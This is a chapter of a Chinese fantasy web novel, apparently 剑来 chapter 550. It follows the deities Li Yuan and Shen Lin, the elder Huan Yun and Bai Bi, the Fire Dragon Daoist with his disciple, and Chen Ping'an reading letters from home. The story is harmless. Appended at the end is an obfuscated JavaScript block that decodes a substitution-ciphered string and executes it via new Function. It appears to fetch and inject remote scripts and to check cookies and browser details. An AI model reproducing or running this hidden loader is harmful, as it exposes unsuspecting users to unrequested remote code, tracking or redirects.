第五百五十章 可惜下雨不下钱(2 / 2)

沈霖心中惊惧,只得行礼致歉。

李源拂袖而去。

沈霖黯然离开云海,返回湖中,施展辟水神通,打道回府。

到了湖底那座大如王朝雄城的恢弘水殿,没有直直御水去往她的住所别院,每一次出入,都还是要经过那座悬挂“风调雨顺”匾额的大门,而且只能走侧门。

那道大门从未开启,哪怕水龙宗宗主拜会,甚至是大源王朝崇玄署历代杨氏家主,以及浮萍剑湖剑仙郦采驾临这座巍峨水府,依旧只能行走侧门。

沈霖跨过侧门之后,身形便一闪而逝,来到自己别院的花圃旁,里边种植有各色奇花异草,那些在花丛穿梭、枝头鸣叫的珍稀鸟雀,更是在浩然天下早已踪迹灭绝。

有一位神女现身禀报,“娘娘,南宗邵敬芝登门拜访,见还是不见?”

沈霖犹豫一番,摇头道:“就说我在闭关,不便待客。”

在沈霖拒绝邵敬芝的时候。

李源要更加逍遥自在,施展了障眼法,更换面容,变成一位面容普通的黄衣少年,出现在那条白玉台阶上,缓缓下山,过了城门,行去桥上酒楼买酒喝。

不去五楼,就在一楼大堂那边随便挑了个座位,因为更热闹。由于两场法事都已结束,所以比起先前陈平安喝酒时的人满为患,酒桌难寻,还需要拼桌落座,这会儿空位就要多出不少,李源在龙宫洞天和大渎桥上,来去自如,毕竟都是济渎地界,只不过在水龙宗开山之后,小炼了那座济渎中祠,李源除了镇守洞天,最多就是走出洞天,每次都要更换容貌装束,在这条长桥上来回行走,一直走到长桥某端的次数都不多。

奉公职守了几百年几千年,哪怕做了一万年,都只算是分内事,可不遵守某些规矩,哪怕只有一次,对于他这种品秩的山水神祇而言,兴许就会是一场不可补救的灾殃。

沈霖如今金身崩溃在即,就有了一丝想要打破规矩、拼死维持神位的端倪,李源实在是不忍去看。

其实李源在重新见过那人今生之后,就已经彻底死心了,再没有半点侥幸。

因为他终于能够确定,水正李源也好,南薰水殿沈霖也罢,他们的生生死死,所有神祇的金身崩塌,那人根本不介意。

这也是李源没有更多提醒沈霖的缘由,既然那人已经不在乎龙宫洞天与整条济渎的山水去留,是不是沈霖偷偷摸摸逾越雷池,也不会管了?

万一沈霖误打误撞,给她涉险做成了,是不是意味着他李源也可以依葫芦画瓢,修缮金身,为自己续命?

李源其实不太喜欢这种糟糕至极的感觉。

所以他才想着来这边满是人间烟火味的酒楼,喝酒浇愁。

李源不知道那位陈先生,在凫水岛忧愁些什么,需要一次次下雨撑伞散步,反正他李源觉得自己,便是龙宫洞天一场雨水都是那酒水,给他喝光了也浇不到所有愁。

何况世间神灵喝酒,无论是市井酒水,还是仙家酒酿,都是喝不醉的。

李源想要硬生生挤出一滴眼泪,来可怜可怜自己,一样做不到。

便开始喝着三更酒,开始双手拍大桌面,干嚎起来。

就像是个酒量不济的人间醉醺少年郎。

不远处有酒客怒吼道:“小兔崽子,吵死个人,赶紧给大爷闭嘴!”

李源抹了抹把脸,委屈巴巴转头望去,双手手掌轻轻在酒桌上来回划抹,“我这会儿心情不好,嚎几嗓子怎么了嘛。”

那汉子讥笑道:“吵到了老子喝酒的雅兴,你小子自己说是不是欠抽?”

李源抬起双手,揉了揉脸颊。

打算带着这个家伙去济渎当中,不喝酒,换喝水,还不要钱。

就在此时,楼上刚好走下一位老人和年轻女修,后者腰间悬配水龙宗祖师堂嫡传玉牌。

老人望向那个汉子,笑道:“莫吵莫吵,伤了和气。”

那汉子怒道:“老头你算哪根葱?!”

老人笑呵呵说道:“我就是个结账的,今儿一楼所有客人的酒水,老头儿我来付钱,就当是大家赏脸,卖我桓云一个薄面。”

那汉子顿时哑然,起身抱拳道:“原来是桓老真人,失敬失敬!”

桓云抱拳还礼,走下楼梯,依旧为所有酒客结账,顿时响起满堂喝彩。

李源先前瞥了眼老人,是一位瓶颈松动的金丹老地仙,身边是一位刚刚跻身金丹的年轻女子,如果没记错,好像是叫白璧来着,比较受宗主孙结的器重。这个小妮子还是运道不错的,也难怪孙结会倾力栽培,孙结执意要将那张元婴供奉都要眼馋的寸金符,赠予自己嫡传弟子,哪怕占着白璧跻身金丹客的宗门大义,依旧很有中饱私囊的嫌疑,在祖师堂那边,南北两宗,闹得很不痛快,尤其是一般不太在明面与孙结顶针的邵敬芝,都难得撂了几句重话,当时作为水龙宗祖师堂的真正主人,李源就躲在一幅祖宗挂像里边,偷偷看热闹,挺带劲。

其实孙结算是一个很不错的当家之人了。

对待南北两宗,一碗水端平。

可恰恰如此,就成了另外一种人心不平的根源。

若是孙结舍得脸皮,一味偏袒北宗子弟,反而没有那么多乌烟瘴气的勾当。

再早早敲定了水龙宗下一任宗主的继承人选,铁了心继续延续重北轻南的规矩,看她邵敬芝和南宗会不会难熬,最终不得不低头认命?

太好说话,太讲公道。

就是孙结难以真正服众的症结所在。

不然祖师堂那边,与南宗邵敬芝位于一排座椅的供奉、客卿,早就有其中两三人坐到北宗那边去了。

当然,若是孙结能够跻身仙人境,一切问题都会烟消云散。

可惜孙结没有这个资质和福缘。

李源这会儿埋头喝酒。

那桓云和白璧也没有上杆子来烦他,很上道。

出了酒楼,白璧和桓云走到长桥一端,白璧轻声笑道:“老真人,我虽然跻身了金丹境,但是时日不多,资质尚浅,尚未单独开辟出府邸,希望下次老真人莅临我们宗门,晚辈已经可以在龙宫洞天之中占据某座岛屿,到时候一定好好款待老真人。”

桓云笑道:“白道友只要确定了可以在那洞天岛屿开辟府邸,可以事先寄信给我,我会自己跑来道

贺。”

白璧笑着点头,向这位道门老真人打了个稽首,“大恩不言谢。”

桓云有些感慨,还了一礼,“修行不易,你我共勉。”

成为金丹客,便是我辈人。

桓云只要还不是那元婴修士,那么无论年龄如何悬殊,其实与这位年纪轻轻的水龙宗嫡传,就是同辈道友。

白璧没有刻意殷勤,只是目送老真人走下桥头,就此离去。

不过这位年轻金丹地仙的感激之情,发自肺腑。

她其实在返回水龙宗之后,就有些后悔,没有早早与桓云商议收尾一事,哪怕需要她拿出一份重礼,白璧都不会有任何犹豫。免得南宗那边借此机会,醉翁之意不在酒,打压她白璧在水龙宗的前程不说,还要连累宗主师父。

例如那野修出身的武灵亭,是水龙宗供奉,其实更是北宗供奉,差点因为此事而将祖师堂那张椅子搬到对面去。

师父也恼火不已。

所幸柳暗花明又一村。

白璧怎么都没有想到,在双方没有任何交易的前提下,桓云会愿意为她说了那番公道话,不但雪中送炭,帮助自己在宗门这边洗清了所有嫌疑,还为自己锦上添花,使得她在那处遗址历练过程当中,成了一位行事谨慎、老成持重之人,该说的,无论真假,桓云在水龙宗祖师堂的掌律祖师那边,都说了,不该说的,老真人一字未提。

以至于白璧从如释重负的师父那边,听闻此事后,都有些震惊,一脸的匪夷所思。

孙结当时什么都没有多说,只让弟子白璧好好珍惜这份来之不易的山上善缘。

事后听闻桓云已是云上城挂名供奉后,孙结又不得不提醒阅历不够的白璧,有机会的话,可以不露痕迹地回去一趟芙蕖国,再“顺便”去趟云上城,好歹那城主沈震泽也是一位金丹地仙。

白璧一一记下。

所以这次盛情邀请在北亭国游历山水的桓云,来水龙宗做客。

桓云得知她尚未在岛屿开府后,就更讲究了,老真人推说自己在外边逗留已久,需要立即赶回山头。

于是就有了后边两位金丹地仙在桥头的那番对话。

这些都是师父和传道人都教不了、也不会刻意传授的为人功夫、处世本领。

白璧独自站在桥头,感触颇多。

以前总是痴迷于那句山上的金科玉律:放不下世间事,当不成山上人。

如今看来,山上修道,身边四周,高高低低,山上各处,不也还有那么多的修道之人?大概所谓的放下不管,原来不是那全不计较、我行我素的偷懒捷径。

李源趴在桥上栏杆,离着桥头还有百余里路程,却可以清晰望见那位年轻金丹女修的背影,觉得她的资质其实不错。

李源听到背后有人大声喊道:“小兔崽子!”

李源转过头去,那汉子笑着抛过一只酒壶,“这壶三更酒,可是老子自己掏腰包买下来的,以后他娘的别在酒楼里边鬼哭狼嚎,一个大老爷们,也不嫌磕碜!”

李源笑眯眯抱住酒壶,低头弯腰,高声道:“谢这位大爷,大爷慢走。”

那汉子愣了一下,笑骂了几句,大步离开。

李源边走边喝着酒,心情好转几分。

那桓云没有乘坐渡船或是御风远游,而是沿着那条济渎大水缓缓而行。

在那云上城,曾经与一位年轻人走扪心路。

对方说了些看似空泛的大道理。

说那有些学问,是水脉,缓缓流转,帮人顺势而为,走得稳。

也说有些学问,是山根,世事无常,本心纹丝不动,立得定。

两者都是好学问,可世事难在双方要经常打架,打得鼻青脸肿,头破血流,甚至就那么自己打死自己。

桓云是听得进去的,因为在那场一波三折的访山寻宝当中,这位老真人自己就吃够了这场架的大苦头。

他桓云是不是好人,当然是,不止是别人如此公认,他桓云内心一向自认还算好人。

不然他就不会走那么一遭云上城,为此生元婴无望的沈震泽,帮忙吆喝助威,最后还要答应为徐杏酒、赵青纨护道。

好人会不会犯错?当然会,先是重宝摆在眼前,最后还要加上一辈子积攒下来的名声,他桓云其实已经违背良知和本心,干脆就要杀人夺宝,顾全清誉,铸就大错。

很多时候,好像只是相差那么一口气,便会造就出天壤之别的是非对错,善恶之分。

夜幕之中,天高月明。

桓云深呼吸一口气,只觉得心旷神怡。

就是不知道那位年轻剑仙,如此豁达,会不会一样有那难以逾越的心关?

若是真有,岂不是天堑鸿沟?

桓云只能希望那人可以过水架桥,上山铺路,风雨无忧吧。

————

临近水龙宗的某处僻静地方。

一位老道人伸手搀扶住身边的年轻道士。

背剑的年轻道士,摇摇欲坠,然后满脸笑意,兴高采烈道:“师父,咋个我今儿半点不想吐了?”

老道人一本正经道:“肯定是那修为见长,这要是回了趴地峰,你那些师兄们肯定要好好夸你几句。”

年轻道士一脸怀疑,“师父你说句真心话。”

老道人这才说道:“师父毕竟交友广泛,这一路虽然走得快,依旧难免走走停停,就数这次距离最近。”

年轻道人埋怨道:“师父你这么不会说话,怪不得那些山上朋友,每次见了师父你老人家登门,一个个都从来不乐意请你上山坐一坐。我可看得真切,他们与师父聊天的时候,也都客气得不像朋友,师父,以后你下山还这样,真不成的。”

火龙真人点头道:“交朋友这种事情上,师父是不太擅长。”

张山峰看了眼师父,没说话。

老真人只得再次点头,“修行一事,也不太凑合。”

张山峰笑道:“没事,师父道法不高,弟子也好不到哪里去。”

张山峰摇头张望,又笑道:“师父,水龙宗这么大一个仙家,没有朋友了吧?”

只有此处,因为是此行的目的地,所以师父明确提及过名字,说他的朋友陈平安最近应该就在附近。至于其余师徒二人停留过的高山湖泽,仙家府邸,张山峰反正都不认得。

火龙真人愣了一下,笑着点头。

于是以心声告知那位水龙宗宗主孙结,不用露面了,返回祖师堂便是。

不讲礼数?

贫道站在这儿,礼数还不够大吗?

————

陈平安进了屋子,开始翻看密信。

朱敛在信上先提及了魏檗破境一事,成了宝瓶洲历史上第一位上五境山神。

大骊王朝皇帝宋和亲临龙泉郡,光是六部尚书就来了礼、刑两位,一起登上披云山为魏檗道贺,不但如此,大骊朝廷还取出了一件皇库珍藏的“亲水”半仙兵,赠予披云山,作为锦上添花的压胜之物,如此一来,哪怕是一尊山岳正神,魏檗也能够更加轻松掌控辖境水运,甚至可以随便镇压大骊北岳地界所有最高品秩的江水正神,由此可见,新帝宋和对于魏檗这位前朝旧臣,已经不单单是礼遇,而是主动分权给披云山,魏檗等于一己之力,与大骊礼部、刑部共掌整个大骊宋氏龙兴之地的山水权柄。

所以朱敛让陈平安这位山主不用考虑贱卖家当一事,因为魏檗破境之时,声势极大,祥瑞齐出,据说整个大骊京城百姓都沸腾了,许多家底殷实的富贵门户,如过江之鲫,疯狂涌入新开辟出来的龙州,想要去往披云山烧香礼敬魏大山神。不但如此,大骊户部还带给披云山将近百颗金精铜钱,作为朝廷的赠礼之一。其余诸部也有自己的诚意,当然这些都是经过年轻皇帝陛下的点头许可,才敢如此正大光明送礼披云山。

年轻皇帝显然自己都有些意外,原本足够高估魏檗破境一事引发的各种朝野涟漪,不曾想依旧是低估了那种朝野上下、万民同乐的氛围,简直就是大骊王朝开国以来屈指可数的普天同贺,上一次,还是大骊藩王宋长镜立下破国之功,覆灭了一直骑在大骊脖子上作威作福的昔年宗主国卢氏王朝,大骊京城才有这种万民空巷的盛事。再往上推,可就差不多是几百年前的老黄历了,大骊宋氏彻底摆脱卢氏王朝的附庸国身份,终于能够以王朝自居。

朱敛说魏檗光是举办第三场神灵夜游宴,保守估计,就可以补上一半谷雨钱的缺口。

此外。

珠钗岛刘重润已经签订了山水契约,选择在水运相对浓郁的螯鱼背落脚,祖师堂依旧留在书简湖,没有搬迁,免得被真境宗穿小鞋,只不过十数位资质最好的嫡传子弟,都会在螯鱼背修行,如今刘重润已经开始聘请墨家工匠、机关师,在螯鱼背打造府邸,按照约定,这些建筑,与螯鱼背山头本身一起,除非三百年之后再续契约,不然离山之时,都会自动成为山主陈平安的私人产业。

不过珠钗岛租借螯鱼背三百年,只交了一笔定金,三十颗谷雨钱,刘重润在神仙钱一事上,咬死了自己家业太小,并无积蓄。算上搬迁费用,以及打点各路关系,掏出三十颗谷雨钱,就已经让她快要钱囊空空了。

结果郑大风的插科打诨,就让刘重润说出了一桩与她世俗身份戚戚相关的密事,算是一桩不小的意外之喜。

这位亡国长公主,愿意暗中帮助落魄山,争取一起取回那座水殿和一艘沉水龙舟,这两物,始终没有被朱荧王朝寻觅得手。只要得到两物,她刘重润可以送出那条价值连城的龙舟渡船。若是只能取回一物,无论是龙舟还是水殿,螯鱼背和落魄山,皆五五分账。

朱敛没有立即答应下来,毕竟这就要牵扯到当地的大骊铁骑,很容易引发纠纷,所以朱敛在信上询问陈平安,此事能否去做。

至于新刺史魏礼来自藩属黄庭国,新任州城隍来自三江汇流之地的馒头山,这些大骊山水官场的“意外”,朱敛在信上都没有遗漏。

关于书简湖的那两场水陆道场、周天大醮,朱敛更是写得事无巨细,能写的都写。

就连目盲道人与两位徒弟在骑龙巷草头铺子的扎根,风评如何,纸上也都写得仔细。

还说了卢白象新收取两名弟子,是一双姐弟,分别名叫元宝、元来,都是不错的武学苗子,等到陈平安这位山主返回家乡,就可以抽个时候,让两人返回落魄山,将姓名记录在落魄山的祖师堂谱牒了。

还有一些大隋山崖书院那边的求学经历。

最关键之事,还在最后一张纸上,是关于莲藕福地的山水灵气一事,随着两大笔谷雨钱落入其中,几处关键的山根水运,都得到了极大巩固与滋养,接下来就需要与南苑国皇帝真正开始打交道,而这位世俗皇帝已经有意禅让退位,自己来当一位修道之人,而新帝位置不稳,自然就需要让步更多。

可是真正决定这座小福地大方向的决策,朱敛还是希望能够陈平安亲自给出定论,他和郑大风、魏檗好循规蹈矩,按部就班去布局。

除了自家山头相关的大小事务。

朱敛还提及了诸多山外事。

大骊王朝升迁了两位争抢杀入朱荧王朝的铁骑主将,曹枰,苏高山,成为大骊历史上新设官职的巡狩使。

都说这其实是就大骊先帝专门为功勋武将设置的“上柱国”,曹家本就是上柱国姓氏,可苏高山如今有足够的底气,与上柱国豪阀平起平坐。传言大骊王朝最终会摆下六把“巡狩使”椅子,大骊京畿之地一把,老龙城那边一把,旧属朱荧王朝地界一把,其余三把椅子谁来坐,摆在哪里,还没有定论,连猜测都没有。

再就是诸多灭国之地,风起云涌,揭竿而起,当地修士更是大肆刺杀大骊驻守官员。

除了曹枰、苏高山两支铁骑继续南下,最后那支铁骑开始停马不前,一部分停留在朱荧王朝版图上,分兵北归,开始平叛。

信上林林总总,大小消息数十个。

陈平安仔细看过朱敛的书信两遍后,才拿起裴钱的那封信,就只有两张纸。

都是她那自吹自夸的言语了。

抄书认真,没有赊账。

她那套自创的疯魔剑法一日千里,简直就是巅峰中的巅峰了。

与周米粒关系好得很,如今小水怪已经是骑龙巷压岁铺子的右护法了,她询问师父是不是回到家乡后,就升任周米粒担任落魄山的右护法,信上有些此地无银三百两,裴钱说她可不会随便承诺周米粒这么大的官衔,公私分明,与周米粒关系再好,她也会铁面无私,所以还是需要师父回家后再亲自定夺的。

还说那岑鸳机练拳特别认真,不愧是老厨子亲自挑选上山的武学天才,唉,就是有次岑姐姐练拳太专注了,没注意台阶,不小心崴到了脚,她当时刚好路过,竟然没能扶住岑姐姐,所以她一直到写信这会儿,还是有些良心不安来着。

所以将来如果岑姐姐提及此事,师父千万千万莫要怪罪,绝对是她裴钱的无心过失。

陈平安看到这里,就知道大有玄机了。

肯定是做了吃板栗的事情,在信上先与自己铺垫一番了。

再者裴钱自己肯定意识不到,她写了这么多落魄山上亲眼所见的事情,连半句骑龙巷铺子挣了多少银子都没提到,在陈平安看来,肯定是在学塾那边逃学翘课极多。

陈平安也没多想,反正有朱敛盯着,应该不会有太出格的事情。真要有,相信朱敛在信上也会直接挑明。

不过等他回去,还是要一顿板栗让她吃饱就是了。她自己信上,半句学塾课业进展都不提,能算上心读书?就她那脾气,若是得了学塾夫子一句半句的夸奖,能不好好显摆一二?

裴钱还在信上说秀秀姐不在神秀山那边了,听说搬去了别处修行,她有些担心秀秀姐唉,因为好久没去草头铺子买糕点了。

裴钱说那山上来了个名叫隋景澄的好看姐姐,人长得好看不说,还贼大方,花钱眼睛都不带眨一下的,不过她作为师父的开山大弟子,风范很够,从来没有主动让隋景澄给自己买东西,一次都没有。

信纸的最后,裴钱祝愿师父游历顺利,财源广进,每天开心,平平安安,早日还乡。

一看到这里。

陈平安便有些舍不得敲她的板栗了。

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();